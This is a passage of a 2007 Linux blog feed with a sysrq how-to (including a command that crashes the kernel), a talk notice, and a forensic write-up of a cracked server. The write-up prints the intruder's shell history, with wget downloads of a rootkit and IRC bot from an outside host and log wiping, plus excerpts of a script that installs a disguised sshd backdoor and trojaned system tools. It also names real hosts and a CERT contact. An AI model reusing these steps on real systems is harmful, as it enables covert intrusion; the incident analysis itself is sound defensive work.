To enable the &lt;a href=&quot;http://en.wikipedia.org/wiki/Magic_SysRq_key&quot;&gt;&quot;magical&quot; sysrq&lt;/a&gt;, you need to have it compiled in the kernel. Luckily all major Linux distribution today have sysrq compiled in be default. To see the status if sysrq, issue:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  &amp;#36; &lt;strong&gt;cat /proc/sys/kernel/sysrq&lt;/strong&gt;&lt;br&gt;
  1&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
By default this value is &quot;1&quot; on Debian/Ubuntu and &quot;0&quot; on RHEL. &quot;0&quot; disables sysrq and &quot;1&quot; enables all functions of sysrq. Other values exists, see &lt;a href=&quot;http://lxr.linux.no/source/Documentation/sysrq.txt&quot;&gt;Documentation/sysrq.txt&lt;/a&gt;. You might also use &quot;&lt;strong&gt;sysctl&lt;/strong&gt; to check and enable sysrq:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
  #  &lt;strong&gt;sysctl kernel/sysrq&lt;/strong&gt;&lt;br&gt;
  kernel.sysrq = 0&lt;br&gt;
  # &lt;strong&gt;sysctl -w kernel/sysrq=1&lt;/strong&gt;&lt;br&gt;
  kernel.sysrq = 1&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
To &quot;&lt;strong&gt;s&lt;/strong&gt;&quot;ync all filesystems, press &lt;i&gt;&quot;Alt+SysRq+s&quot;&lt;/i&gt;. You'll then see at the console:&lt;p&gt;
&lt;p&gt;
&lt;pre&gt;
 SysRq  :  Emergency Sync&lt;br&gt;
 Emergency Sync complete&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
 
Other sysrq functions include &quot;&lt;strong&gt;b&lt;/strong&gt;&quot;oot, &quot;&lt;strong&gt;c&lt;/strong&gt;&quot;rash and &quot;&lt;strong&gt;u&lt;/strong&gt;&quot;mount. See the &lt;a href=&quot;http://lxr.linux.no/source/Documentation/sysrq.txt&quot;&gt;Documentation/sysrq.txt&lt;/a&gt; for the full list.
&lt;p&gt;
A quick way to reboot, and a little nicer than using the power-button, is to:
&lt;p&gt;

1. Sync disks using: &lt;i&gt;&quot;Alt+SysRq+s&quot;&lt;/i&gt;:
&lt;p&gt;
&lt;pre&gt;
 SysRq  :  Emergency Sync&lt;br&gt;
 Emergency Sync complete&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;

2. Remount all disks read-only: &lt;i&gt;&quot;Alt+SysRq+u&quot;&lt;/i&gt;:
&lt;p&gt;
&lt;pre&gt;
 SysRq  :  Emergency Remount R/O&lt;br&gt;
 Emergency Remount complete&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
3. Reboot: &lt;i&gt;&quot;Alt+SysRq+b&quot;&lt;/i&gt;:
&lt;p&gt;
&lt;pre&gt;
 SysRq  :  Resetting&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;
An (impatient) colleague of mine uses this procedure to shut down his laptop all the time...
&lt;p&gt;

If you're not on the console, you can still use sysrq. Just redirect the the command-key to /proc/sysrq-trigger. So to crash the running server do:
&lt;p&gt;
&lt;pre&gt;
  # &lt;strong&gt;echo &quot;c&quot; &amp;gt; /proc/sysrq-trigger&lt;/strong&gt;
&lt;/pre&gt;
&lt;p&gt;
&lt;img width=&quot;720&quot; height=&quot;398&quot; src=&quot;http://blog.larsstrand.org/images/articles/sysrq_1_original.jpg&quot; alt=&quot;&quot;&gt;
&lt;p&gt;
Note: Crashing the running kernel using kexec/kdump is not supported in Debian 4.0 (Etch).</content>
</entry>
<entry>
<title type="html">SELinux presentation</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=Linuxdagen-SELinux"/>
<id>tag:blog.larsstrand.org,2007-05-13:/article.php?story=Linuxdagen-SELinux</id>
<published>2007-05-13T17:31:00+02:00</published>
<updated>2007-05-13T17:31:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">Linpro held the annual &lt;a href=&quot;http://www.linuxdagen.no&quot;&gt;&quot;Linuxdagen&quot;&lt;/a&gt; (&quot;Linuxday&quot;) 7. May 2007. It was the usual mix of interesting and not so interesting presentations. There was a lot more people attending this year than last year - which was great. My presentation about SELinux dealt with how SELinux enforces &quot;mandatory access control&quot; (MAC) instead of the traditional &quot;discretional access control&quot; (DAC) on Linux. Handout can be found &lt;a href=&quot;http://www.larsstrand.org/writings/pres/2007-linpro/Linuxdagen2007-SELinux.pdf&quot;&gt;here&lt;/a&gt; (norwegian).</content>
</entry>
<entry>
<title type="html">Holiday cracking</title>
<link rel="alternate" type="text/html" href="http://blog.larsstrand.org/article.php?story=HollidayCracking"/>
<id>tag:blog.larsstrand.org,2007-04-09:/article.php?story=HollidayCracking</id>
<published>2007-04-09T19:17:00+02:00</published>
<updated>2007-04-09T19:17:00+02:00</updated>
<author>
<name>lars</name>
</author>
<content type="html">&lt;p&gt;&lt;i&gt;&lt;strong&gt;Update! 16. September 2007:&lt;/strong&gt; I've posted a follow up on this story &lt;a href=&quot;http://blog.larsstrand.org/article.php?story=HolidayCracking-redux&quot;&gt;here&lt;/a&gt;.&lt;/i&gt;

&lt;p&gt;A friend of mine asked me to have a look at his Linux-server. &quot;It behaves strangely&quot; he said, most notably the web-server apache refused to start. It turned out to be more than just a problem with apache.
&lt;p&gt;I already had an account, so I started to poke around. The first thing I noticed was some strange &lt;strong&gt;ls&lt;/strong&gt; behavior:
&lt;p&gt;
&lt;pre&gt;
 lars@server1:~&amp;#36; &lt;strong&gt;ls&lt;/strong&gt;&lt;br&gt;
 ls: invalid option -- h&lt;br&gt;
 Try `ls --help' for more information.&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;That's odd.. Why don't &quot;&lt;strong&gt;ls&lt;/strong&gt;&quot; take &quot;&lt;strong&gt;-h&lt;/strong&gt;&quot; all of a sudden?? I had aliased &quot;&lt;strong&gt;ls&lt;/strong&gt;, so I unaliased it and it worked fine: 
&lt;p&gt;
&lt;pre&gt;
lars@server1:~&amp;#36; &lt;strong&gt;alias ls&lt;/strong&gt;&lt;br&gt;
 alias ls='ls -sh --color=auto'&lt;br&gt;
 lars@server1:~&amp;#36; &lt;strong&gt;unalias ls&lt;/strong&gt;&lt;br&gt;
 lars@server1:~&amp;#36; &lt;strong&gt;ls&lt;/strong&gt;&lt;br&gt;
 backup&lt;br&gt;
 lars@server1:~&amp;#36;&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;Strange. I'll have too look into that later, but first get apache up and running:
&lt;p&gt;
&lt;pre&gt;
 lars@server1:~&amp;#36; &lt;strong&gt;sudo /etc/init.d/apache2 start&lt;/strong&gt;&lt;br&gt;
 Password:&lt;br&gt;
  * Starting apache 2.0 web server...&lt;br&gt;
 (2): apache2: could not open error log file /var/log/apache2/error.log.&lt;br&gt;
 Unable to open logs&lt;br&gt;
    ...fail!&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Ookay..? A quick peek into &quot;/var/log/&quot; revealed that &quot;apache2/&quot; was missing, but so was all other directories usually found under there as &quot;mysql/&quot;, &quot;exim4/&quot;, &quot;samba/&quot; and so on. Something was wrong alright. Did my friend accidentally delete everything by mistake?? He claimed not to. I logged in as root to fix the missing directories:
&lt;p&gt;
&lt;pre&gt;
 lars@server1:~&amp;#36; &lt;strong&gt;sudo su -&lt;/strong&gt;&lt;br&gt;
 Password:&lt;br&gt;
 root@server1:~# &lt;strong&gt;ls&lt;/strong&gt;&lt;br&gt;
 ls: unrecognized prefix: do&lt;br&gt;
 ls: unparsable value for LS_COLORS environment variable&lt;br&gt;
 total 44&lt;br&gt;
   4 .                 4 .bashrc           4 .ssh&lt;br&gt;
   4 ..                4 .lesshst          8 .viminfo&lt;br&gt;
   8 .bash_history     4 .profile          4 .vimrc&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Even more &quot;ls&quot; trouble? Again, &quot;ls&quot; is aliased:
&lt;p&gt;
&lt;pre&gt;
 root@server1:~# &lt;strong&gt;alias ls&lt;/strong&gt;&lt;br&gt;
 alias ls='ls -sa --color=auto'&lt;br&gt;
 root@server1:~# &lt;strong&gt;unalias ls&lt;/strong&gt;&lt;br&gt;
 root@server1:~# &lt;strong&gt;ls&lt;/strong&gt;&lt;br&gt;
 root@server1:~# &lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;By now, I really suspected that something was very very wrong. Misbehaving &quot;ls&quot; and missing a bunch of stuff under &quot;/var/log/&quot;. My suspicion was confirmed when I examined root's &quot;.bash_history&quot;:
&lt;p&gt;
&lt;pre&gt;
root@server1:~# &lt;strong&gt;cat -n .bash_history&lt;/strong&gt;&lt;br&gt;
   ...&lt;br&gt;
   340  w&lt;br&gt;
   341  cd /var&lt;br&gt;
   342  wget http://83.19.148.250/~matys/pliki/shv5.tar.gz&lt;br&gt;
   343  tar -zxf shv5.tar.gz&lt;br&gt;
   344  rm -rf shv5.tar.gz&lt;br&gt;
   345  mv shv5 .x&lt;br&gt;
   346  cd .x&lt;br&gt;
   347  ./setup zibi.joe.149 54098&lt;br&gt;
   348  passwd&lt;br&gt;
   349  passwd&lt;br&gt;
   350  ps aux&lt;br&gt;
   351  crontab -l&lt;br&gt;
   352  cat /etc/issue&lt;br&gt;
   353  cat /etc/passwd&lt;br&gt;
   354  w&lt;br&gt;
   355  who&lt;br&gt;
   356  cd /usr/lib/libsh&lt;br&gt;
   357  ls&lt;br&gt;
   358  hide +&lt;br&gt;
   359  chmod +x hide&lt;br&gt;
   360  hide +&lt;br&gt;
   361  ./hide +&lt;br&gt;
   362  cd /var/.x&lt;br&gt;
   363  mkdir psotnic&lt;br&gt;
   364  cd psotnic&lt;br&gt;
   365  wget http://83.19.148.250/~matys/pliki/psotnic0.2.5.tar.gz&lt;br&gt;
   366  tar -zxf psotnic0.2.5.tar.gz&lt;br&gt;
   367  rm -rf psotnic0.2.5.tar.gz&lt;br&gt;
   368  ls&lt;br&gt;
   369  mv psotnic-0.2.5-linux-static-ipv6 synscan&lt;br&gt;
   370  ./synscan&lt;br&gt;
   371  vi conf&lt;br&gt;
   372  vi conf1&lt;br&gt;
   373  mv synscan smbd&lt;br&gt;
   374  smbd -c conf&lt;br&gt;
   375  ls&lt;br&gt;
   376  ps aux&lt;br&gt;
   377  ls&lt;br&gt;
   378  ./smbd -c conf&lt;br&gt;
   379  ./smbd -c conf1&lt;br&gt;
   380  ./smbd conf&lt;br&gt;
   381  ./smbd conf1&lt;br&gt;
   382  ./smbd -a conf conf1&lt;br&gt;
   383  rm -rf conf.dec&lt;br&gt;
   384  rm -rf conf1.dec&lt;br&gt;
   385  cd /usr/lib/libsh&lt;br&gt;
   386  ./hide +&lt;br&gt;
   387  exit&lt;br&gt;
   ...&lt;br&gt;
   425  ssh ftp@62.101.251.166&lt;br&gt;
   426  w&lt;br&gt;
   427  ls&lt;br&gt;
   428  ls&lt;br&gt;
   429  cd /var/.x&lt;br&gt;
   430  ls&lt;br&gt;
   431  cd psotnic/&lt;br&gt;
   432  ls&lt;br&gt;
   433  rm -rf /var/log/*&lt;br&gt;
   434  exit&lt;br&gt;
   435  ls&lt;br&gt;
   436  cd /var/.x/psotnic/&lt;br&gt;
   437  ls&lt;br&gt;
   438  vi conf2&lt;br&gt;
   439  ./smbd -c conf2&lt;br&gt;
   440  ./smbd conf2&lt;br&gt;
   441  ./smbd -a conf conf1 conf2&lt;br&gt;
   442  rm -rf conf2.dec&lt;br&gt;
   443  cd ..&lt;br&gt;
   444  ls&lt;br&gt;
   445  cd /usr/lib/libsh&lt;br&gt;
   446  hide +&lt;br&gt;
   447  ./hide +&lt;br&gt;
   448  exit&lt;br&gt;
   449  ps aux&lt;br&gt;
   450  cd /var/.x&lt;br&gt;
   451  ls&lt;br&gt;
   452  ls&lt;br&gt;
   453  cd psotnic/&lt;br&gt;
   454  ls&lt;br&gt;
   455  cat pid.MastaH&lt;br&gt;
   456  kill -9 2030&lt;br&gt;
   457  ./synscan -a conf conf1&lt;br&gt;
   458  ./smbd -a conf conf1&lt;br&gt;
   459  cd /usr/lib/libsh&lt;br&gt;
   460  ./hide +&lt;br&gt;
  ...&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Woha! The box had been cracked alright! I found this quite exciting, but obviously, my friend did not. The attacker did one elementary error by not wiping out &quot;.bash_history&quot; - so this is probably not the only error he/she has done. Let's start dissecting this little crack.

&lt;p&gt;First. What is hiding under &quot;/var/.x/&quot; and what does the command &quot;setup zibi.joe.149 54098&quot; do?
&lt;p&gt;
&lt;pre&gt;
root@server1:/var/.x# &lt;strong&gt;file setup&lt;/strong&gt;&lt;br&gt;
setup: Bourne-Again shell script text executable&lt;br&gt;
root@server1:/var/.x# &lt;strong&gt;wc -l setup&lt;/strong&gt;&lt;br&gt;
825 setup&lt;br&gt;
root@server1:/var/.x# &lt;strong&gt;head -17 setup&lt;/strong&gt;&lt;br&gt;
#!/bin/bash&lt;br&gt;
#&lt;br&gt;
# shv5-internal-release&lt;br&gt;
# by: PinT[x] April/2003&lt;br&gt;
# &lt;br&gt;
# greetz to:&lt;br&gt;
#&lt;br&gt;
# [*] SH-members: BeSo_M, grass^, toolman, nobody, niceboy, armando99 &lt;br&gt;
#                 C00L|0, GolDenLord, Spike, zion ...&lt;br&gt;
# [*] Alba-Hack : 2Cool, heka, TheMind, ex-THG members ...&lt;br&gt;
# [*] SH-friends: mave, AlexTG, Cat|x, klex, JinkS ...&lt;br&gt;
# [*] tC-members: eksol, termid, hex, keyhook, maher, tripod etc..&lt;br&gt;
# [*] And all others who diserve to be here but i forgot&lt;br&gt;
# [*] them at the moment !&lt;br&gt;
# &lt;br&gt;
# PRIVATE ! DO NOT DISTRIBUTE *censored*EZ !&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Now, this little shell script does all kinds of nasty stuff, like installing a modified ssh backdoor disguised as &quot;/bin/ttyload&quot; which is then added to &quot;/etc/inittab&quot; for automatic startup at boot:
&lt;p&gt;
&lt;pre&gt;
mv &amp;#36;SSHDIR/sshd /sbin/ttyload&lt;br&gt;
chmod a+xr /sbin/ttyload&lt;br&gt;
chmod o-w /sbin/ttyload&lt;br&gt;
touch -acmr /bin/ls /sbin/ttyload&lt;br&gt;
chattr +isa /sbin/ttyload&lt;br&gt;
kill -9 `pidof ttyload` &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br&gt;
....&lt;br&gt;
# INITTAB SHUFFLING&lt;br&gt;
chattr -isa /etc/inittab&lt;br&gt;
cat /etc/inittab |grep -v ttyload|grep -v getty &amp;gt; /tmp/.init1&lt;br&gt;
cat /etc/inittab |grep getty &amp;gt; /tmp/.init2&lt;br&gt;
echo &quot;# Loading standard ttys&quot; &amp;gt;&amp;gt; /tmp/.init1&lt;br&gt;
echo &quot;0:2345:once:/usr/sbin/ttyload&quot; &amp;gt;&amp;gt; /tmp/.init1&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;It also backdoor a bunch of standard linux commands:
&lt;p&gt;
&lt;pre&gt;
# Backdoor ps/top/du/ls/netstat/etc..&lt;br&gt;
cd &amp;#36;BASEDIR/bin&lt;br&gt;
BACKUP=/usr/lib/libsh/.backup&lt;br&gt;
mkdir &amp;#36;BACKUP&lt;br&gt;
...&lt;br&gt;
# ls ...&lt;br&gt;
chattr -isa /bin/ls&lt;br&gt;
cp /bin/ls &amp;#36;BACKUP&lt;br&gt;
mv -f ls /bin/ls&lt;br&gt;
chattr +isa /bin/ls&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;This explains why &quot;ls&quot; misbehavied!
&lt;p&gt;
&lt;pre&gt;
root@server1:/var/.x# &lt;strong&gt;ls -l /usr/lib/libsh/.backup/&lt;/strong&gt;&lt;br&gt;
total 552&lt;br&gt;
-rwxr-xr-x   1 root     root       126276 Dec 24 22:58 find&lt;br&gt;
-rwxr-xr-x   1 root     root        59012 Dec 24 22:58 ifconfig&lt;br&gt;
-rwxr-xr-x   1 root     root        77832 Dec 24 22:58 ls&lt;br&gt;
-rwxr-xr-x   1 root     root        30388 Dec 24 22:58 md5sum&lt;br&gt;
-rwxr-xr-x   1 root     root        99456 Dec 24 22:58 netstat&lt;br&gt;
-rwxr-xr-x   1 root     root        65492 Dec 24 22:58 ps&lt;br&gt;
-rwxr-xr-x   1 root     root        14016 Dec 24 22:58 pstree&lt;br&gt;
-rwxr-xr-x   1 root     root        50180 Dec 24 22:58 top&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Oh - and look at the timestamp. This was done at christmas!

&lt;p&gt;Clearly the original &quot;ls&quot; and the newly installed &quot;ls&quot; are different, as md5 fingerprint and file shows:
&lt;p&gt;
&lt;pre&gt;
root@server1:~# &lt;strong&gt;md5sum /usr/lib/libsh/.backup/ls /bin/ls&lt;/strong&gt;&lt;br&gt;
eef7ca9dd6be1cc53bac84012f8d1675  /usr/lib/libsh/.backup/ls&lt;br&gt;
0a07cf554c1a74ad974416f60916b78d  /bin/ls&lt;br&gt;
&lt;br&gt;
root@server1:~# &lt;strong&gt;file /bin/ls&lt;/strong&gt;&lt;br&gt;
/bin/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked &lt;br&gt;
(uses shared libs), for GNU/Linux 2.0.0, stripped&lt;br&gt;
&lt;br&gt;
root@server1:~# &lt;strong&gt;file /usr/lib/libsh/.backup/ls&lt;/strong&gt;&lt;br&gt;
/usr/lib/libsh/.backup/ls: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.6.0, dynamically linked &lt;br&gt;
(uses shared libs), for GNU/Linux 2.6.0, stripped&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;The backdoor toolkit (&quot;sh5.tar.gz&quot;) was downloaded from (local copy &lt;a href=&quot;http://blog.larsstrand.org/download/crack&quot;&gt;here&lt;/a&gt;):
&lt;p&gt;
&lt;pre&gt;
root@server1:~#  &lt;strong&gt;dig +short -x 83.19.148.250&lt;/strong&gt;&lt;br&gt;
4lo.bydg.pl.&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;I can't make much out of the site, since it's in polish. The attacker probably don't have any connection to this site - I don't think he is that foolish, but then again - he has done several severe mistakes.

&lt;p&gt;The output of the &quot;setup&quot; command, as run by the attacker, can be seen in the screen shot (I was running this on sandboxed server at home):
&lt;p&gt;
&lt;img width=&quot;499&quot; height=&quot;927&quot; src=&quot;http://blog.larsstrand.org/images/articles/HollidayCracking_1_original.jpg&quot; alt=&quot;&quot;&gt;

&lt;p&gt;Okay, so &quot;zibi.joe.149&quot; is the password and &quot;54098&quot; is the port number. It's running and (old) sshd from ssh.com, as seen from the screen shot:
&lt;p&gt;
&lt;img width=&quot;499&quot; height=&quot;342&quot; src=&quot;http://blog.larsstrand.org/images/articles/HollidayCracking_2_original.jpg&quot; alt=&quot;&quot;&gt;

&lt;p&gt;Nice colors.

&lt;p&gt;The backdoor is installed. The next step is to install an irc-bot and make it an zombie. That is what &quot;psotnic0.2.5.tar.gz&quot; contains. The attacker extract and rename the irc-bot to &quot;smbd&quot;, which happens to be the same as Samba's daemons (&quot;smbd&quot; and &quot;nbmd&quot;).

&lt;p&gt;Next he creates two configuration files, which contains which irc-server to connect to, and which channel to join etc. The config files are then encrypted, and the clear-text ones are deleted:
&lt;p&gt;
&lt;pre&gt;
   371  vi conf&lt;br&gt;
   372  vi conf1&lt;br&gt;
   ....&lt;br&gt;
   378  ./smbd -c conf &lt;br&gt;
   379  ./smbd -c conf1&lt;br&gt;
   380  ./smbd conf&lt;br&gt;
   381  ./smbd conf1&lt;br&gt;
   382  ./smbd -a conf conf1&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Let's execute command 382 to see what it does:
&lt;p&gt;
&lt;pre&gt;
root@server1:/var/.x/psotnic# &lt;strong&gt;./smbd -a conf conf1&lt;/strong&gt;&lt;br&gt;
&lt;br&gt;
Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)&lt;br&gt;
Copyright (C) 2003-2005 Grzegorz Rusin &lt;br&gt;
&lt;br&gt;
[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br&gt;
[+] Adding: */10 * * * * cd /var/.x/psotnic; ./smbd conf1 &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br&gt;
[+] Added 2 psotnics to cron&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Aha! So it gets added to cron: 
&lt;p&gt;
&lt;pre&gt;
root@server1:/var/.x/psotnic# &lt;strong&gt;crontab -l&lt;/strong&gt;&lt;br&gt;
*/10 * * * * cd /var/.x/psotnic; ./smbd conf &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br&gt;
*/10 * * * * cd /var/.x/psotnic; ./smbd conf1 &amp;gt;/dev/null 2&amp;gt;&amp;amp;1&lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;At this time I killed off the two hostile smbd-processes and disabled the cron-job. I fired up a tcpdump in another shell and started the two processes manually:
&lt;p&gt;
&lt;pre&gt;
root@server1:~# &lt;strong&gt;cd /var/.x/psotnic; ./smbd conf&lt;/strong&gt;&lt;br&gt;
&lt;br&gt;
Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)&lt;br&gt;
Copyright (C) 2003-2005 Grzegorz Rusin &lt;br&gt;
&lt;br&gt;
[*] Acting as LEAF&lt;br&gt;
[+] Config loaded&lt;br&gt;
[+] Going into background [pid: 5724]&lt;br&gt;
root@server1:/var/.x/psotnic# &lt;strong&gt;./smbd conf1&lt;/strong&gt;&lt;br&gt;
&lt;br&gt;
Psotnic C++ edition, version 0.2.5-ipv6 (Jul 17 2005 20:39:49)&lt;br&gt;
Copyright (C) 2003-2005 Grzegorz Rusin &lt;br&gt;
&lt;br&gt;
[*] Acting as LEAF&lt;br&gt;
[+] Config loaded&lt;br&gt;
[+] Going into background [pid: 5727]&lt;br&gt;
root@server1:/var/.x/psotnic# &lt;br&gt;
&lt;/pre&gt;
&lt;p&gt;These two processes show up using (our backdoored) &quot;ps&quot;, so I guess that why the attacker renamed it to &quot;smbd&quot;:
&lt;p&gt;
&lt;pre&gt;
root@server1:/var/.x/psotnic# &lt;strong&gt;ps axuw | grep smb&lt;/strong&gt;&lt;br&gt;
root      3799  0.0  0.4  8592 2156 ?        S    11:00   0:00 /usr/sbin/smbd -D&lt;br&gt;
root      3808  0.0  0.1  8592  896 ?        S    11:00   0:00 /usr/sbin/smbd -D&lt;br&gt;
root      5724  0.0  0.1  1648  772 pts/2    S    12:47   0:00 ./smbd conf&lt;br&gt;
root      5727  0.0  0.1  1640  764 pts/2    S    12:47   0:00 ./smbd conf1&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;The first two are the real samba, the next two are the irc-bot. Let's strace it to see what it does:
&lt;p&gt;
&lt;pre&gt;
root@server1:~# &lt;strong&gt;strace -p 5727&lt;/strong&gt;&lt;br&gt;
...&lt;br&gt;
connect(3, {sa_family=AF_INET, sin_port=htons(9714), sin_addr=inet_addr(&quot;83.18.74.235&quot;)}, 16) = -1 EINPROGRESS (Operation now in progress)&lt;br&gt;
...&lt;br&gt;
connect(4, {sa_family=AF_INET, sin_port=htons(6667), sin_addr=inet_addr(&quot;195.159.0.92&quot;)}, 16) = -1 EINPROGRESS (Operation now in progress)&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;So it tries to connect to IP-address 83.18.74.235 on port 9714 and 195.159.0.92 on port 6667 (this port is used for irc-servers):
&lt;p&gt;
&lt;pre&gt;
root@server1:~# &lt;strong&gt;dig +short -x 83.18.74.235&lt;/strong&gt;&lt;br&gt;
manhattan.na.pl.&lt;br&gt;
root@server1:~# &lt;strong&gt;dig +short -x 195.159.0.92&lt;/strong&gt;&lt;br&gt;
ircnet.irc.powertech.no.&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;Another polish host. The other IP-adress, &quot;ircnet.irc.powertech.no&quot; is a CNAME for &quot;irc.powertech.no&quot;, a well known irc-server here in Norway.

&lt;p&gt;Using the tcpdump, I identified one network-stream to irc-server irc.powertech.no. As these snippets show, they show the smbd connecting to &quot;irc.powertech.no&quot;, and joining channel &quot;#aik&quot;:
&lt;p&gt;
&lt;pre&gt;
:irc.powertech.no 001 578PAB9NB :Welcome to the Internet Relay Network 578PAB9NB!~op@ti231210a080-3666.bb.online.no&lt;br&gt;
:irc.powertech.no 002 578PAB9NB :Your host is irc.powertech.no, running version 2.11.1p1&lt;br&gt;
&lt;br&gt;
:578PAB9NB!~op@ti231210a080-3666.bb.online.no JOIN :#aik&lt;br&gt;
:irc.powertech.no 353 578PAB9NB @ #aik :578PAB9NB kknd raider brandyz jpi conf xerkoz IpaL vvo &lt;br&gt;
:irc.powertech.no 366 578PAB9NB #aik :End of NAMES list.&lt;br&gt;
:irc.powertech.no 352 578PAB9NB #aik ~op ti231210a080-3666.bb.online.no irc.powertech.no 578PAB9NB G :0 op - GTW&lt;br&gt;
:irc.powertech.no 352 578PAB9NB #aik ~kknd ti231210a080-3666.bb.online.no irc.hitos.no kknd H :2 kknd - GTW&lt;br&gt;
:irc.powertech.no 352 578PAB9NB #aik ~raider mobitech-70.max-bc.spb.ru *.dotsrc.org raider G :4 raider - GTW&lt;br&gt;
:irc.powertech.no 352 578PAB9NB #aik ~brandyz mobitech-70.max-bc.spb.ru *.dotsrc.org brandyz G :4 brandyz - GTW&lt;br&gt;
:irc.powertech.no 352 578PAB9NB #aik ~jpi p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp jpi G :8 jpi - GTW&lt;br&gt;
:irc.powertech.no 352 578PAB9NB #aik ~conf p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp conf G :7 conf - GTW&lt;br&gt;
:irc.powertech.no 352 578PAB9NB #aik ~xerkoz p3124-ipad309sasajima.aichi.ocn.ne.jp *.jp xerkoz H :7 xerkoz - GTW&lt;br&gt;
:irc.powertech.no 352 578PAB9NB #aik lm campus19.panorama.sth.ac.at *.at IpaL H :5 .LaPi.9@.IRCNet..&lt;br&gt;
:irc.powertech.no 352 578PAB9NB #aik ~vvo ppp86-7.intelcom.sm *.tiscali.it vvo H :6 vvo - GTW&lt;br&gt;
:irc.powertech.no 315 578PAB9NB #aik :End of WHO list.&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;This is just the raw network traffic of the irc-session joining channel #aik and listing all other members on that channel. I decided to join that channel myself (notice the nice underground nick: &quot;viper42&quot;). I was surprised not to be asked for any channel password. I guess our attacker made another bummer:
&lt;p&gt;
&lt;pre&gt;
17:43 -!- viper42 [~viper42@trinity.gnist.org] has joined #aik&lt;br&gt;
17:43 [Users #aik]&lt;br&gt;
17:43 [ 578PAB9NL] [ conf] [ jpi ] [ raider ] [ vvo   ] &lt;br&gt;
17:43 [ brandyz  ] [ IpaL] [ kknd] [ viper42] [ xerkoz] &lt;br&gt;
17:43 -!- Irssi: #aik: Total of 10 nicks [0 ops, 0 halfops, 0 voices, 10 normal]&lt;br&gt;
17:43 -!- Irssi: Join to #aik was synced in 1 secs&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;I found my friends server with the nick &quot;578PAB9NB&quot; and some other machines. These zombies are probably just waiting for the attacker to join the channel and give orders. Or perhaps the attacker already are lurking there. All have &quot;* - GTW&quot; at the end of their nick, except one:
&lt;p&gt;
&lt;pre&gt;
17:45 [powertech] -!- IpaL [lm@campus19.panorama.sth.ac.at]&lt;br&gt;
17:45 [powertech] -!-  ircname  : LaPi@IRCNet&lt;br&gt;
17:45 [powertech] -!-  channels : #relaks #ping @#seks #aik @#ogame.pl &lt;br&gt;
                                  #pingwinaria #hattrick #trade #admin @#!sh &lt;br&gt;
17:45 [powertech] -!-  server   : *.at [&amp;#92;o&amp;#92;  &amp;#92;o/  /o/]&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;This is the only nick that also have joined more than one channels. Guess I've found my attacker, unless this is a decoy. (Again: The attacker &lt;i&gt;can't&lt;/i&gt; be this stupid?!?) I guess I'll just hang around for a few days just to see if anything interesting comes up. The hostname resolves to:
&lt;p&gt;

&lt;pre&gt;
&amp;#36; &lt;strong&gt;dig +short campus19.panorama.sth.ac.at&lt;/strong&gt;&lt;br&gt;
193.170.51.84&lt;br&gt;
&lt;/pre&gt;

&lt;p&gt;And according to &lt;a href=&quot;http://www.ripe.net/fcgi-bin/whois?form_type=simple&amp;amp;full_query_string=&amp;amp;searchtext=193.170.51.84&amp;amp;submit.x=11&amp;amp;submit.y=9&amp;amp;submit=Search&quot;&gt;RIPE&lt;/a&gt; this IP-address belongs to &lt;a href=&quot;http://www.univie.ac.at/&quot;&gt;Vienna University&lt;/a&gt; Computer Center. I asked them ( cert at aco net ) to take a closer look at the hostname in question and got an answer just hours later:
&lt;p&gt;

&lt;pre&gt;
From: Alexander Talos via RT&lt;br&gt;
To: larstra@ifi.uio.no&lt;br&gt;
Subject: Cracker at campus19.panorama.sth.ac.at (193.170.51.84)  [ACOnet CERT #38603]&lt;br&gt;                                                                    
Date: Fri, 18 May 2007 18:22:43 +0200 (CEST)&lt;br&gt;
Reply-To: cert@aco.net&lt;br&gt;
&lt;br&gt;                                   
-----BEGIN PGP SIGNED MESSAGE----- &lt;br&gt;
Hash: SHA1&lt;br&gt;
&lt;br&gt;                                                                        
Hej!&lt;br&gt;                                                                
&lt;br&gt;                  
On Fri May 18 14:45:03 2007, larstra@ifi.uio.no wrote:&lt;br&gt;
&lt;br&gt;
&amp;gt; I have been tracking down cracker which connected from&lt;br&gt;
&amp;gt; campus19.panorama.sth.ac.at (193.170.51.84). The user, which&lt;br&gt;
&lt;br&gt;
Ouch. panorama.sth.ac.at is a dormitory with about 4k rooms all&lt;br&gt;
